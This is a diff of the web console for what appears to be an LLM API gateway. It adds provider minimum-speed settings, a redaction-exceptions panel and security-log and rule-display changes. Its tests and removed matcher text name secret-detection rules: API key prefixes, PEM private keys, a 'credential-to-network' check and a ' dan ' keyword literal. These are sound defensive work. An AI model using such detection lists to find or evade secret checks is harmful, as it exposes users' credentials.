@@ -246,6 +301,7 @@ export function CreateProviderDialog({ open, onOpenChange, onSuccess }: CreatePr
         base_url: effectiveBaseUrl,
         headers: headers.filter(([k]) => k.trim()).map(([k, v]) => ({ key: k, value: v })),
         ...(awsKeys ? { config: awsKeys } : {}),
+        ...minSpeed,
       });
       onOpenChange(false);
       resetForm();
@@ -371,6 +427,13 @@ export function CreateProviderDialog({ open, onOpenChange, onSuccess }: CreatePr
               presets={headerPresets(t)}
             />
           </div>
+          <MinSpeedRow
+            id="prov-min-speed"
+            rate={minSpeedRate}
+            window={minSpeedWindow}
+            onRateChange={setMinSpeedRate}
+            onWindowChange={setMinSpeedWindow}
+          />
           <TestResultPanel testResult={testResult} />
           {formError && (
             <Alert variant="destructive">
@@ -388,7 +451,7 @@ export function CreateProviderDialog({ open, onOpenChange, onSuccess }: CreatePr
                 setTestResult,
               )}
             />
-            <Button type="submit" disabled={submitting}>
+            <Button type="submit" disabled={submitting || !minSpeed}>
               {submitting ? (
                 <><Loader2 className="mr-1 h-4 w-4 animate-spin" />{t('providers.creating')}</>
               ) : t('providers.createProvider')}
@@ -427,6 +490,8 @@ export function EditProviderDialog({ open, onOpenChange, provider, onSuccess }:
   const [editStoredKeys, setEditStoredKeys] = useState<Set<string>>(new Set());
   const [editSaving, setEditSaving] = useState(false);
   const [editError, setEditError] = useState('');
+  const [minSpeedRate, setMinSpeedRate] = useState('');
+  const [minSpeedWindow, setMinSpeedWindow] = useState(String(DEFAULT_MIN_SPEED_WINDOW_SECS));
   const [testing, setTesting] = useState(false);
   const [testResult, setTestResult] = useState<TestResult | null>(null);
 
@@ -437,6 +502,8 @@ export function EditProviderDialog({ open, onOpenChange, provider, onSuccess }:
     if (provider) {
       setEditDisplayName(provider.display_name);
       setEditBaseUrl(provider.base_url);
+      setMinSpeedRate(provider.min_speed_tokens_per_sec?.toString() ?? '');
+      setMinSpeedWindow(String(provider.min_speed_window_secs ?? DEFAULT_MIN_SPEED_WINDOW_SECS));
       setEditError('');
       setTestResult(null);
       const existing = provider.config_json?.headers ?? [];
@@ -453,8 +520,10 @@ export function EditProviderDialog({ open, onOpenChange, provider, onSuccess }:
     }
   }
 
+  const minSpeed = minSpeedFields(minSpeedRate, minSpeedWindow);
+
   const handleEdit = async () => {
-    if (!provider) return;
+    if (!provider || !minSpeed) return;
     setEditError('');
     setEditSaving(true);
     try {
@@ -462,6 +531,7 @@ export function EditProviderDialog({ open, onOpenChange, provider, onSuccess }:
         display_name: editDisplayName,
         base_url: editBaseUrl,
         headers: editHeaders.filter(([k]) => k.trim()).map(([k, v]) => ({ key: k, value: v })),
+        ...minSpeed,
       });
       onOpenChange(false);
       await onSuccess();
@@ -531,6 +601,13 @@ export function EditProviderDialog({ open, onOpenChange, provider, onSuccess }:
               presets={headerPresets(t)}
             />
           </div>
+          <MinSpeedRow
+            id="edit-prov-min-speed"
+            rate={minSpeedRate}
+            window={minSpeedWindow}
+            onRateChange={setMinSpeedRate}
+            onWindowChange={setMinSpeedWindow}
+          />
         </div>
         <TestResultPanel testResult={testResult} />
         {editError && (
@@ -557,7 +634,7 @@ export function EditProviderDialog({ open, onOpenChange, provider, onSuccess }:
               setTestResult,
             )}
           />
-          <Button onClick={handleEdit} disabled={editSaving}>
+          <Button onClick={handleEdit} disabled={editSaving || !minSpeed}>
             {editSaving ? t('common.loading') : t('common.save')}
           </Button>
         </DialogFooter>
diff --git a/web/src/routes/gateway/provider-min-speed.ts b/web/src/routes/gateway/provider-min-speed.ts
new file mode 100644
index 00000000..da41e058
--- /dev/null
+++ b/web/src/routes/gateway/provider-min-speed.ts
@@ -0,0 +1,16 @@
+/** A stream's window when none is set, in seconds. */
+export const DEFAULT_MIN_SPEED_WINDOW_SECS = 20;
+
+/**
+ * The minimum generation speed as the PATCH sends it, or `null` when a
+ * field is out of range: the speed blank (off) or a whole number from 1
+ * to 1000, the window a whole number from 5 to 120.
+ */
+export function minSpeedFields(rate: string, window: string) {
+  const whole = (v: string, lo: number, hi: number) =>
+    /^\d+$/.test(v.trim()) && Number(v) >= lo && Number(v) <= hi ? Number(v) : null;
+  const tokens = rate.trim() === '' ? null : whole(rate, 1, 1000);
+  const secs = whole(window, 5, 120);
+  if ((rate.trim() !== '' && tokens === null) || secs === null) return null;
+  return { min_speed_tokens_per_sec: tokens, min_speed_window_secs: secs };
+}
diff --git a/web/src/routes/gateway/provider-types.ts b/web/src/routes/gateway/provider-types.ts
index c5182d23..c1048b1f 100644
--- a/web/src/routes/gateway/provider-types.ts
+++ b/web/src/routes/gateway/provider-types.ts
@@ -11,6 +11,12 @@ export interface Provider {
    * re-submitting them blank keeps it (see `merge_headers_for_storage`).
    */
   config_json?: { headers?: { key: string; value: string; encrypted?: boolean }[] };
+  /**
+   * The slowest generation a stream may keep up, in tokens per second
+   * over `min_speed_window_secs` seconds. `null` ⇒ off.
+   */
+  min_speed_tokens_per_sec: number | null;
+  min_speed_window_secs: number;
   created_at: string;
 }
 
diff --git a/web/src/routes/gateway/security/exceptions-panel.tsx b/web/src/routes/gateway/security/exceptions-panel.tsx
new file mode 100644
index 00000000..b2d41844
--- /dev/null
+++ b/web/src/routes/gateway/security/exceptions-panel.tsx
@@ -0,0 +1,228 @@
+import { useState } from 'react';
+import { useTranslation } from 'react-i18next';
+import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query';
+import { Plus } from 'lucide-react';
+import { toast } from 'sonner';
+import { Button } from '@/components/ui/button';
+import { Card, CardContent, CardHeader } from '@/components/ui/card';
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog';
+import { Label } from '@/components/ui/label';
+import { Skeleton } from '@/components/ui/skeleton';
+import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from '@/components/ui/table';
+import { Textarea } from '@/components/ui/textarea';
+import { ConfirmDialog } from '@/components/confirm-dialog';
+import { ApiError, api, apiDelete, apiPost } from '@/lib/api';
+import type { GuardDetail, RedactException, RedactExceptionList } from '@/lib/security-types';
+import { ruleName } from './names';
+
+const PATH = '/api/admin/security/redact/exceptions';
+const EXCEPTIONS_KEY = ['security', 'redact', 'exceptions'] as const;
+
+/**
+ * Redaction's exception values, under the rule table: values that are
+ * never replaced or recorded, whichever rule finds them. Each row is the
+ * value masked, the rule that first recognised it, when it was added, and
+ * "Remove". A value is added by pasting it; the server hashes it on
+ * arrival and keeps only the hash and the masked form, so the console
+ * never sees it again. At the cap, adding is unavailable and says why.
+ */
+export function ExceptionsPanel({ detail, canWrite }: { detail: GuardDetail; canWrite: boolean }) {
+  const { t, i18n } = useTranslation();
+  const queryClient = useQueryClient();
+  const [adding, setAdding] = useState(false);
+  const [removing, setRemoving] = useState<RedactException | null>(null);
+  const query = useQuery({
+    queryKey: EXCEPTIONS_KEY,
+    queryFn: ({ signal }) => api<RedactExceptionList>(PATH, { signal }),
+  });
+  const remove = useMutation({
+    mutationFn: (e: RedactException) => apiDelete<RedactException>(`${PATH}/${e.sha256}`),
+    onSuccess: (_, e) => {
+      setRemoving(null);
+      toast.success(t('contentSecurity.exceptions.removed', { value: e.masked }));
+      void queryClient.invalidateQueries({ queryKey: EXCEPTIONS_KEY });
+    },
+    onError: (err) => toast.error(err instanceof Error ? err.message : t('common.error')),
+  });
+
+  const items = query.data?.items ?? [];
+  const max = query.data?.max ?? 500;
+  const full = items.length >= max;
+  const rule = (e: RedactException) =>
+    e.rule ? ruleName(i18n.language, detail, e.rule, false, e.rule) : t('contentSecurity.exceptions.noRule');
+
+  const addButton = (
+    <Button
+      size="sm"
+      variant="outline"
+      onClick={() => setAdding(true)}
+      disabled={!canWrite || full || !query.data}
+      title={full ? t('contentSecurity.exceptions.full', { max }) : undefined}
+    >
+      <Plus />
+      {t('contentSecurity.exceptions.add')}
+    </Button>
+  );
+
+  return (
+    <Card>
+      <CardHeader>
+        {items.length === 0 ? (
+          // Nothing excepted: one line and the button.
+          <div className="flex flex-wrap items-center justify-between gap-2">
+            <p className="text-xs text-muted-foreground">{t('contentSecurity.exceptions.empty')}</p>
+            {addButton}
+          </div>
+        ) : (
+          <>
+            <div className="flex flex-wrap items-center justify-between gap-2">
+              <h3 className="text-sm font-medium">
+                {t('contentSecurity.exceptions.title', { count: items.length })}
+              </h3>
+              {addButton}
+            </div>
+            <p className="text-xs text-muted-foreground">
+              {full ? t('contentSecurity.exceptions.full', { max }) : t('contentSecurity.exceptions.lead')}
+            </p>
+          </>
+        )}
+      </CardHeader>
+      {(query.isPending || query.isError || items.length > 0) && (
+        <CardContent>
+          {query.isPending ? (
+            <Skeleton className="h-8 w-full" />
+          ) : query.isError ? (
+            <p className="text-xs text-destructive">
+              {t('contentSecurity.exceptions.loadFailed')}: {query.error.message}
+            </p>
+          ) : (
+            <Table className="min-w-[640px] table-fixed">
+              <colgroup>
+                <col className="w-[30%]" />
+                <col />
+                <col className="w-[180px]" />
+                <col className="w-[110px]" />
+              </colgroup>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>{t('contentSecurity.exceptions.col.value')}</TableHead>
+                  <TableHead>{t('contentSecurity.exceptions.col.rule')}</TableHead>
+                  <TableHead>{t('contentSecurity.exceptions.col.added')}</TableHead>
+                  <TableHead>
+                    <span className="sr-only">{t('common.actions')}</span>
+                  </TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {items.map((e) => (
+                  <TableRow key={e.sha256}>
+                    <TableCell className="truncate font-mono text-xs" title={e.masked}>
+                      {e.masked || '—'}
+                    </TableCell>
+                    <TableCell className="truncate" title={rule(e)}>
+                      {rule(e)}
+                    </TableCell>
+                    <TableCell className="text-xs tabular-nums text-muted-foreground">
+                      {e.added_at ? new Date(e.added_at).toLocaleString() : '—'}
+                    </TableCell>
+                    <TableCell>
+                      <Button
+                        variant="ghost"
+                        size="sm"
+                        className="h-7 px-2 text-xs"
+                        onClick={() => setRemoving(e)}
+                        disabled={!canWrite}
+                      >
+                        {t('contentSecurity.exceptions.remove')}
+                      </Button>
+                    </TableCell>
+                  </TableRow>
+                ))}
+              </TableBody>
+            </Table>
+          )}
+        </CardContent>
+      )}
+      {adding && <AddExceptionDialog onClose={() => setAdding(false)} />}
+      <ConfirmDialog
+        open={removing !== null}
+        onOpenChange={(o) => !o && !remove.isPending && setRemoving(null)}
+        title={t('contentSecurity.exceptions.removeTitle', { value: removing?.masked ?? '' })}
+        description={t('contentSecurity.exceptions.removeDesc')}
+        confirmLabel={t('contentSecurity.exceptions.remove')}
+        loading={remove.isPending}
+        onConfirm={() => removing && remove.mutate(removing)}
+      />
+    </Card>
+  );
+}
+
+/**
+ * Paste a value to except it: for a test value that has not turned up in
+ * the log yet. The value goes to the server once and is forgotten here as
+ * soon as the dialog closes.
+ */
+function AddExceptionDialog({ onClose }: { onClose: () => void }) {
+  const { t } = useTranslation();
+  const queryClient = useQueryClient();
+  const [value, setValue] = useState('');
+  const [error, setError] = useState<string | null>(null);
+  const add = useMutation({
+    mutationFn: (v: string) => apiPost<RedactException>(PATH, { value: v }),
+    onSuccess: (e) => {
+      toast.success(t('contentSecurity.exceptions.added', { value: e.masked }));
+      void queryClient.invalidateQueries({ queryKey: EXCEPTIONS_KEY });
+      onClose();
+    },
+    onError: (err) =>
+      setError(
+        err instanceof ApiError && err.status === 409
+          ? t('contentSecurity.exceptions.duplicate')
+          : err instanceof Error
+            ? err.message
+            : t('common.error'),
+      ),
+  });
+  const empty = value.trim() === '';
+  return (
+    <Dialog open onOpenChange={(o) => !o && !add.isPending && onClose()}>
+      <DialogContent className="sm:max-w-lg">
+        <DialogHeader>
+          <DialogTitle>{t('contentSecurity.exceptions.addTitle')}</DialogTitle>
+          <DialogDescription>{t('contentSecurity.exceptions.addDesc')}</DialogDescription>
+        </DialogHeader>
+        <div className="space-y-1.5">
+          <Label htmlFor="exception-value">{t('contentSecurity.exceptions.value')}</Label>
+          <Textarea
+            id="exception-value"
+            className="min-h-20 font-mono text-xs"
+            value={value}
+            spellCheck={false}
+            autoComplete="off"
+            onChange={(e) => {
+              setValue(e.target.value);
+              setError(null);
+            }}
+          />
+          <p className="text-xs text-muted-foreground">{t('contentSecurity.exceptions.valueHint')}</p>
+          {error && <p className="text-xs text-destructive">{error}</p>}
+        </div>
+        <DialogFooter>
+          <Button variant="outline" onClick={onClose} disabled={add.isPending}>
+            {t('common.cancel')}
+          </Button>
+          <Button onClick={() => add.mutate(value)} disabled={empty || add.isPending}>
+            {t('contentSecurity.exceptions.add')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  );
+}
diff --git a/web/src/routes/gateway/security/guard-panel.tsx b/web/src/routes/gateway/security/guard-panel.tsx
index 8a4b0f71..784780e7 100644
--- a/web/src/routes/gateway/security/guard-panel.tsx
+++ b/web/src/routes/gateway/security/guard-panel.tsx
@@ -25,8 +25,16 @@ import {
 } from '@/components/ui/table';
 import { Segmented } from '@/components/segmented';
 import { cn } from '@/lib/utils';
-import type { Guard, GuardDetail, GuardMode, RuleAction, SecurityRuleView } from '@/lib/security-types';
-import { Code, Codepoints, MatcherText } from './matcher-text';
+import type {
+  Guard,
+  GuardDetail,
+  GuardMode,
+  RuleAction,
+  SecurityKindView,
+  SecurityRuleView,
+} from '@/lib/security-types';
+import { ExceptionsPanel } from './exceptions-panel';
+import { About, Code, Codepoints, MatcherText } from './matcher-text';
 import {
   actionName,
   actionTone,
@@ -34,6 +42,7 @@ import {
   kindName,
   modeDot,
   modeName,
+  ruleAbout,
   ruleWhy,
   scopeName,
   viewName,
@@ -124,12 +133,14 @@ export function GuardPanel({
             guard={guard}
             mode={detail.mode}
             rules={detail.rules}
+            kinds={detail.kinds}
             query={query}
             canWrite={canWrite}
             actions={actions}
           />
         </CardContent>
       </Card>
+      {guard === 'redact' && <ExceptionsPanel detail={detail} canWrite={canWrite} />}
     </div>
   );
 }
@@ -216,6 +227,7 @@ function RuleTable({
   guard,
   mode,
   rules,
+  kinds,
   query,
   canWrite,
   actions,
@@ -223,17 +235,17 @@ function RuleTable({
   guard: Guard;
   mode: GuardMode;
   rules: SecurityRuleView[];
+  kinds: SecurityKindView[];
   query: string;
   canWrite: boolean;
   actions: RuleActions;
 }) {
-  const { t } = useTranslation();
+  const { t, i18n } = useTranslation();
+  const lang = i18n.language;
   const content = guard === 'content';
-  const groupKey = (r: SecurityRuleView) =>
-    r.custom ? 'custom' : guard === 'inspect_tools' ? 'builtin' : r.kind;
-  const groupTitle = (key: string) =>
-    key === 'builtin' ? t('contentSecurity.builtinGroup') : kindName(t, key);
-  const shown = rules.filter((r) => matchesSearch(r, viewName(t, guard, r), query));
+  const groupKey = (r: SecurityRuleView) => (r.custom ? 'custom' : r.kind);
+  const groupTitle = (key: string) => kindName(lang, kinds, key);
+  const shown = rules.filter((r) => matchesSearch(r, viewName(lang, r), query));
   const columns = content ? 6 : 5;
 
   return (
@@ -305,7 +317,11 @@ function RuleTable({
 }
 
 function MatchCell({ guard, r }: { guard: Guard; r: SecurityRuleView }) {
+  const { i18n } = useTranslation();
   const m = r.matcher;
+  // A built-in redaction rule says what it finds in its own words.
+  const about = ruleAbout(i18n.language, r);
+  if (about) return <About text={about} />;
   if (guard === 'redact') return <MatcherText m={m} />;
   // Tool and content rules show the pattern itself (how it treats case is
   // said in the rule's dialog); a check implemented in code says what it
@@ -336,8 +352,8 @@ function ActionCell({
   canWrite: boolean;
   onAct: (action: RuleAction) => void;
 }) {
-  const { t } = useTranslation();
-  const name = viewName(t, guard, r);
+  const { t, i18n } = useTranslation();
+  const name = viewName(i18n.language, r);
   const action = r.action ?? 'record';
   const scope = ruleScope(r);
   const label = (a: RuleAction) =>
@@ -386,10 +402,11 @@ function RuleRow({
   canWrite: boolean;
   actions: RuleActions;
 }) {
-  const { t } = useTranslation();
-  const name = viewName(t, guard, r);
-  const why = ruleWhy(t, guard, r);
+  const { t, i18n } = useTranslation();
+  const name = viewName(i18n.language, r);
+  const why = ruleWhy(i18n.language, r);
   const pattern = patternOf(r)?.pattern;
+  const about = ruleAbout(i18n.language, r).replaceAll('`', '');
   const open = () => actions.open(r);
   const onKeyDown = (e: KeyboardEvent<HTMLTableRowElement>) => {
     if (e.target !== e.currentTarget) return;
@@ -428,7 +445,7 @@ function RuleRow({
           )
         )}
       </TableCell>
-      <TableCell className="truncate text-muted-foreground" title={pattern}>
+      <TableCell className="truncate text-muted-foreground" title={pattern ?? (about || undefined)}>
         <MatchCell guard={guard} r={r} />
       </TableCell>
       {guard === 'content' && (
diff --git a/web/src/routes/gateway/security/highlight.tsx b/web/src/routes/gateway/security/highlight.tsx
index 7ee2cecf..28fff7cc 100644
--- a/web/src/routes/gateway/security/highlight.tsx
+++ b/web/src/routes/gateway/security/highlight.tsx
@@ -5,13 +5,17 @@ import { cn } from '@/lib/utils';
 export interface Mark {
   start: number;
   end: number;
-  /** `bad`: the request or call would be stopped; `warn`: replaced, deleted or recorded. */
-  tone: 'warn' | 'bad';
+  /**
+   * `bad`: the request or call would be stopped; `warn`: replaced, deleted
+   * or recorded; `muted`: recognised, but an exception, left as it is.
+   */
+  tone: 'warn' | 'bad' | 'muted';
 }
 
 const TONE: Record<Mark['tone'], string> = {
   warn: 'bg-amber-500/20 shadow-[inset_0_-1.5px_0_0_var(--color-amber-500)]',
   bad: 'bg-destructive/15 shadow-[inset_0_-1.5px_0_0_var(--destructive)]',
+  muted: 'bg-muted shadow-[inset_0_-1.5px_0_0_var(--muted-foreground)]',
 };
 
 /**
diff --git a/web/src/routes/gateway/security/index.tsx b/web/src/routes/gateway/security/index.tsx
index 504b2bdc..cfbe64f1 100644
--- a/web/src/routes/gateway/security/index.tsx
+++ b/web/src/routes/gateway/security/index.tsx
@@ -90,7 +90,7 @@ function message(err: unknown, fallback: string): string {
  * flight the view is read back from the server.
  */
 export function GatewaySecurityPage() {
-  const { t } = useTranslation();
+  const { t, i18n } = useTranslation();
   const queryClient = useQueryClient();
   const [tab, setTab] = useState<Tab>(() => (mayReadLog() ? 'log' : 'redact'));
   const [dialog, setDialog] = useState<DialogState>(null);
@@ -156,7 +156,7 @@ export function GatewaySecurityPage() {
   function toggle(guard: Guard, rule: SecurityRuleView, enabled: boolean, undoable = true) {
     const d = current(guard);
     if (!d) return;
-    const name = viewName(t, guard, rule);
+    const name = viewName(i18n.language, rule);
     write(guard, withEnabled(d, rule, enabled), true).then(
       () =>
         toast.success(
@@ -199,7 +199,7 @@ export function GatewaySecurityPage() {
     if (!d) return;
     const before = d.rules.find((r) => r.custom === rule.custom && r.id === rule.id)?.action ?? 'record';
     if (before === action) return;
-    const name = viewName(t, guard, rule);
+    const name = viewName(i18n.language, rule);
     write(guard, withAction(d, rule, action), true).then(
       () =>
         toast.success(
@@ -230,7 +230,7 @@ export function GatewaySecurityPage() {
     if (!d) return;
     await write(guard, withAction(d, rule, action), false);
     setDialog(null);
-    toast.success(t('contentSecurity.toast.ruleSaved', { name: viewName(t, guard, rule) }));
+    toast.success(t('contentSecurity.toast.ruleSaved', { name: viewName(i18n.language, rule) }));
   }
 
   async function removeCustom(guard: Guard, rule: SecurityRuleView) {
@@ -257,7 +257,7 @@ export function GatewaySecurityPage() {
       guard,
       editing: null,
       seed: {
-        name: viewName(t, guard, rule),
+        name: viewName(i18n.language, rule),
         pattern: written.pattern,
         match: written.match,
         action: rule.action ?? null,
@@ -342,7 +342,7 @@ export function GatewaySecurityPage() {
           </TabsList>
           {mayReadLog() && (
             <TabsContent value="log" className="pt-2">
-              <LogPanel />
+              <LogPanel detail={detail} />
             </TabsContent>
           )}
           {GUARDS.map((g) => (
@@ -378,6 +378,7 @@ export function GatewaySecurityPage() {
           guard={dialog.guard}
           mode={detail?.[dialog.guard].mode ?? 'observe'}
           rule={dialog.rule}
+          kinds={detail?.[dialog.guard].kinds ?? []}
           canWrite={mayWrite(dialog.guard)}
           onClose={() => setDialog(null)}
           onCopy={
@@ -388,7 +389,7 @@ export function GatewaySecurityPage() {
           onSaveAction={(a) => saveAction(dialog.guard, dialog.rule, a)}
         />
       )}
-      {dialog?.kind === 'test' && <TestDialog guard={dialog.guard} onClose={() => setDialog(null)} />}
+      {dialog?.kind === 'test' && <TestDialog guard={dialog.guard} detail={detail?.[dialog.guard]} onClose={() => setDialog(null)} />}
       <ConfirmDialog
         open={dialog?.kind === 'delete'}
         onOpenChange={(o) => !o && !deleting && setDialog(null)}
diff --git a/web/src/routes/gateway/security/log-events.ts b/web/src/routes/gateway/security/log-events.ts
index 4ded1547..0e694947 100644
--- a/web/src/routes/gateway/security/log-events.ts
+++ b/web/src/routes/gateway/security/log-events.ts
@@ -50,6 +50,29 @@ export interface GuardEventDetail {
   count?: number;
   values?: number;
   tool?: string;
+  /**
+   * Redaction, the rule that recognises saved keys by value: whose key the
+   * request carried (`{ kind: 'upstream-key', name: <provider> }`). Never
+   * any part of the value.
+   */
+  sources?: SavedSource[];
+}
+
+/** Where a saved secret came from. */
+export interface SavedSource {
+  kind: string;
+  name: string;
+}
+
+/**
+ * The saved secrets an event's request carried, named by where they came
+ * from: "API key of provider DeepSeek". A kind this console does not know
+ * yet shows its name alone.
+ */
+export function sourcesOf(t: TFunction, d: GuardEventDetail): string[] {
+  return (d.sources ?? []).map((s) =>
+    t(`contentSecurity.log.source.${s.kind}`, { name: s.name, defaultValue: s.name }),
+  );
 }
 
 /** The guard an event belongs to. */
diff --git a/web/src/routes/gateway/security/log-panel.tsx b/web/src/routes/gateway/security/log-panel.tsx
index a3fd2474..a7cefbcc 100644
--- a/web/src/routes/gateway/security/log-panel.tsx
+++ b/web/src/routes/gateway/security/log-panel.tsx
@@ -18,8 +18,8 @@ import {
 import { Segmented } from '@/components/segmented';
 import { api } from '@/lib/api';
 import { cn } from '@/lib/utils';
-import { GUARDS, type Guard } from '@/lib/security-types';
-import { GUARD_ACTIONS, guardOf, outcomeOf, partOf, type GuardEvent } from './log-events';
+import { GUARDS, type Guard, type SecurityDetail } from '@/lib/security-types';
+import { GUARD_ACTIONS, guardOf, outcomeOf, partOf, sourcesOf, type GuardEvent } from './log-events';
 import { actionTone, guardName, ruleName } from './names';
 
 const PAGE_SIZE = 50;
@@ -30,9 +30,11 @@ type Filter = 'all' | Guard;
  * The security log: what the three guards found, newest first, read from
  * the audit log. Each row says the guard, the rule, where the hit was and
  * what became of it; monitor-mode hits say so. The request's text is never
- * in the audit log, only the trace that leads to it.
+ * in the audit log, only the trace that leads to it. An event names its
+ * rule by id; the name shown is the rule view's (`detail`), in the
+ * console's language.
  */
-export function LogPanel() {
+export function LogPanel({ detail }: { detail: SecurityDetail | undefined }) {
   const { t } = useTranslation();
   const [filter, setFilter] = useState<Filter>('all');
   const [page, setPage] = useState(0);
@@ -126,7 +128,7 @@ export function LogPanel() {
             </TableHeader>
             <TableBody>
               {items.map((e) => (
-                <EventRow key={e.id} e={e} />
+                <EventRow key={e.id} e={e} detail={detail} />
               ))}
             </TableBody>
           </Table>
@@ -159,13 +161,14 @@ export function LogPanel() {
   );
 }
 
-function EventRow({ e }: { e: GuardEvent }) {
-  const { t } = useTranslation();
+function EventRow({ e, detail }: { e: GuardEvent; detail: SecurityDetail | undefined }) {
+  const { t, i18n } = useTranslation();
   const guard = guardOf(e.action);
   const d = e.detail ?? {};
   if (!guard) return null;
   const outcome = outcomeOf(t, e.action, d);
-  const rule = d.rule ? ruleName(t, guard, d.rule, d.custom === true, d.rule_name) : '—';
+  const rule = d.rule ? ruleName(i18n.language, detail?.[guard], d.rule, d.custom === true, d.rule_name) : '—';
+  const sources = new Intl.ListFormat(i18n.language, { type: 'conjunction' }).format(sourcesOf(t, d));
   const when = new Date(e.created_at);
   return (
     <TableRow>
@@ -175,6 +178,11 @@ function EventRow({ e }: { e: GuardEvent }) {
       <TableCell className="truncate">{guardName(t, guard)}</TableCell>
       <TableCell className="truncate" title={rule}>
         {rule}
+        {sources && (
+          <div className="truncate text-xs text-muted-foreground" title={sources}>
+            {sources}
+          </div>
+        )}
         {d.model && <div className="truncate text-xs text-muted-foreground">{d.model}</div>}
       </TableCell>
       <TableCell className="truncate text-muted-foreground">{partOf(t, guard, d)}</TableCell>
diff --git a/web/src/routes/gateway/security/matcher-text.test.tsx b/web/src/routes/gateway/security/matcher-text.test.tsx
new file mode 100644
index 00000000..bc783465
--- /dev/null
+++ b/web/src/routes/gateway/security/matcher-text.test.tsx
@@ -0,0 +1,19 @@
+import { describe, expect, it } from 'vitest'
+import { render } from '@testing-library/react'
+import { About, MatcherText } from './matcher-text'
+
+describe('About', () => {
+  it('shows backticked text as code, without the backticks', () => {
+    const { container } = render(<About text="Starts with `sk-ant-`, followed by at least 20 characters" />)
+    expect(container.textContent).toBe('Starts with sk-ant-, followed by at least 20 characters')
+    expect(container.querySelector('code')?.textContent).toBe('sk-ant-')
+  })
+})
+
+describe('MatcherText', () => {
+  it('describes a pattern, and a check in code as a built-in check', () => {
+    const text = (m: Parameters<typeof MatcherText>[0]['m']) => render(<MatcherText m={m} />).container.textContent
+    expect(text({ kind: 'regex', pattern: 'a+', case_sensitive: true })).toBe('Regex a+, case-sensitive')
+    expect(text({ kind: 'builtin', check: 'credential-to-network' })).toBe('Built-in check')
+  })
+})
diff --git a/web/src/routes/gateway/security/matcher-text.tsx b/web/src/routes/gateway/security/matcher-text.tsx
index cd557e40..7b0a13f9 100644
--- a/web/src/routes/gateway/security/matcher-text.tsx
+++ b/web/src/routes/gateway/security/matcher-text.tsx
@@ -17,14 +17,6 @@ function fill(template: string, parts: Record<string, ReactNode>): ReactNode {
   });
 }
 
-/** Joins nodes the way the language joins a list (`a, b or c` / `a、b或c`). */
-function joined(lang: string, items: ReactNode[], type: 'conjunction' | 'disjunction'): ReactNode {
-  const parts = new Intl.ListFormat(lang, { type }).formatToParts(items.map((_, i) => String(i)));
-  return parts.map((p, i) =>
-    p.type === 'element' ? <Fragment key={i}>{items[Number(p.value)]}</Fragment> : p.value,
-  );
-}
-
 /** A literal from a rule, in code type. Spaces are kept: ` dan ` differs from `dan`. */
 export function Code({ children, className }: { children: ReactNode; className?: string }) {
   return (
@@ -53,62 +45,29 @@ export function Codepoints({ ranges }: { ranges: string[] }) {
   );
 }
 
-/** What a rule matches, as one sentence. */
+/**
+ * A built-in rule's description as the server writes it: text in backticks
+ * is code, shown in code type without the backticks.
+ */
+export function About({ text }: { text: string }) {
+  return (
+    <>
+      {text.split('`').map((piece, i) =>
+        i % 2 === 1 ? <Code key={i}>{piece}</Code> : <Fragment key={i}>{piece}</Fragment>,
+      )}
+    </>
+  );
+}
+
+/**
+ * What a rule matches, as one sentence: a custom rule's pattern, a content
+ * rule's code points. A built-in redaction rule is described by the server
+ * (`about`, see {@link About}); a check implemented in code, or a matcher
+ * this console does not know, reads as a built-in check.
+ */
 export function MatcherText({ m }: { m: Matcher }) {
-  const { t, i18n } = useTranslation();
-  const lang = i18n.language;
+  const { t } = useTranslation();
   switch (m.kind) {
-    case 'prefix':
-      return fill(t('contentSecurity.matcher.prefix', RAW), {
-        prefix: <Code>{m.prefix}</Code>,
-        n: m.min_tail,
-      });
-    case 'openai-legacy':
-      return fill(t('contentSecurity.matcher.openaiLegacy', RAW), {
-        prefix: <Code>sk-</Code>,
-        n: m.min_len,
-      });
-    case 'pem':
-      return fill(t('contentSecurity.matcher.pem', RAW), {
-        begin: <Code>-----BEGIN … PRIVATE KEY-----</Code>,
-      });
-    case 'jwt':
-      return fill(t('contentSecurity.matcher.jwt', RAW), { alg: <Code>"alg"</Code> });
-    case 'conn-string':
-      return fill(t('contentSecurity.matcher.connString', RAW), {
-        uri: <Code>{t('contentSecurity.matcher.connStringShape')}</Code>,
-      });
-    case 'private-ip':
-      return fill(t('contentSecurity.matcher.privateIp', RAW), {
-        ranges: joined(
-          lang,
-          ['10.', '172.16–31.', '192.168.'].map((p) => <Code key={p}>{p}</Code>),
-          'disjunction',
-        ),
-        loopback: <Code>127.0.0.1</Code>,
-      });
-    case 'domain-suffix':
-      return fill(t('contentSecurity.matcher.domainSuffix', RAW), {
-        suffixes: joined(
-          lang,
-          m.suffixes.map((s) => <Code key={s}>{s}</Code>),
-          'disjunction',
-        ),
-      });
-    case 'cn-resident-id':
-      return fill(t('contentSecurity.matcher.cnResidentId', RAW), { year: m.born_since });
-    case 'bank-card':
-      return fill(t('contentSecurity.matcher.bankCard', RAW), {
-        networks: joined(
-          lang,
-          m.networks.map((n) => t(`contentSecurity.cardNetwork.${n.name}`, { defaultValue: n.name })),
-          'disjunction',
-        ),
-      });
-    case 'email':
-      return fill(t('contentSecurity.matcher.email', RAW), { example: <Code>name@example.com</Code> });
-    case 'cn-mobile-phone':
-      return t('contentSecurity.matcher.cnMobilePhone');
     case 'regex':
       return fill(
         t(m.case_sensitive ? 'contentSecurity.matcher.regexCaseSensitive' : 'contentSecurity.matcher.regex', RAW),
@@ -126,11 +85,7 @@ export function MatcherText({ m }: { m: Matcher }) {
       return fill(t('contentSecurity.matcher.codepoints', RAW), {
         ranges: <Codepoints ranges={m.ranges} />,
       });
-    case 'builtin':
-      // A check implemented in code: say what it looks for, not how.
-      return t(`contentSecurity.check.${m.check}`, { defaultValue: t('contentSecurity.matcher.other') });
     default:
-      // A kind this console does not know yet.
       return t('contentSecurity.matcher.other');
   }
 }
diff --git a/web/src/routes/gateway/security/names.test.ts b/web/src/routes/gateway/security/names.test.ts
new file mode 100644
index 00000000..e588a538
--- /dev/null
+++ b/web/src/routes/gateway/security/names.test.ts
@@ -0,0 +1,42 @@
+import { describe, expect, it } from 'vitest'
+import type { GuardDetail, SecurityRuleView } from '@/lib/security-types'
+import { kindName, ruleAbout, ruleName, ruleWhy, viewName } from './names'
+
